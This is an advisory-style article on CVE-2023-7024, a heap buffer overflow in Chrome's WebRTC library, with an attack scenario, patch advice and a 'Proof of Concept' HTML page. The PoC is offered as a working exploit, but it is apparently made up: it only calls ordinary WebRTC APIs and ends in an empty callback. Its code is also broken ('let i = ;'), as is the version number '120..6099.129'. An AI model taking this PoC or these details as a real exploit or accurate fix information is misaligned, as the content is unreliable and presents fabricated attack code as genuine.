A heap buffer overflow vulnerability (CVE-2023-7024) has been discovered in Google Chrome's WebRTC library, potentially allowing a remote attacker to exploit heap corruption through a specially crafted HTML page. This issue affects Chrome versions prior to 120..6099.129 and has a severity level of "High" according to Chromium's security guidelines.

Description

The WebRTC (Web Real-Time Communication) library is a powerful feature that enables real-time audio, video, and other peer-to-peer communication directly in web browsers. Unfortunately, a heap buffer overflow vulnerability has been found in its implementation in Google Chrome, which could lead to heap corruption if exploited.

Heap buffer overflow vulnerabilities are caused when data is written to a block of memory that is too small for the data being written, resulting in the overflow of adjacent memory blocks. It can lead to several security risks, including crashes, information leaks, and remote code execution.

Attack Scenario

An attacker could exploit this vulnerability by creating a specially crafted HTML page that triggers the heap buffer overflow when accessed using the vulnerable version of Google Chrome. Once the heap corruption occurs, the attacker can potentially gain control of the browser and execute arbitrary code on the user's machine, leading to compromised security and privacy.

Proof of Concept

CVE-2023-7024 can be exploited using JavaScript code within a malicious HTML page to call specific WebRTC API functions, resulting in heap corruption.

The following code snippet demonstrates an example of exploiting this vulnerability

<!DOCTYPE html>
<html>
<head>
  <title>CVE-2023-7024 - Exploit Example</title>
</head>
<body>
<script>
  async function exploitWebRTCHeapOverflow() {
    const mediaStream = await navigator.mediaDevices.getUserMedia({ audio: true, video: true });

    const myStreamObj = new MediaStream();

    // Cause heap buffer overflow by adding all tracks repeatedly
    for (let i = ; i < 100; i++) {
      mediaStream.getTracks().forEach((track) => {
        myStreamObj.addTrack(track);
      });
    }

    const peerConnection = new RTCPeerConnection();
    peerConnection.addStream(myStreamObj);

    // Trigger the vulnerable API function to start the exploit
    peerConnection.createOffer().then(offer => {
      // Overflow the heap buffer and possibly execute malicious code
    });
  }

  exploitWebRTCHeapOverflow();
</script>
</body>
</html>

Mitigation

When this vulnerability was discovered, Google was quick to recognize its severity and respond with a patch. The patch for this issue is included in Google Chrome version 120..6099.129. Users should update Google Chrome to the latest version immediately to protect themselves from this vulnerability.

Original References

1. Chrome Releases - Stable Channel Update for Desktop
2. Chromium Security Details - CVE-2023-7024

Conclusion

CVE-2023-7024 demonstrates the potential dangers of heap buffer overflow vulnerabilities, particularly in widely-used applications like Google Chrome. By exploiting this issue, an attacker could cause serious harm to a user's computer and compromise their security and privacy. Always ensure that your software, especially critical applications like web browsers, are up to date with the latest security patches to mitigate potential threats.

Timeline

Published on: 12/21/2023 23:15:11 UTC
Last modified on: 01/03/2024 02:00:01 UTC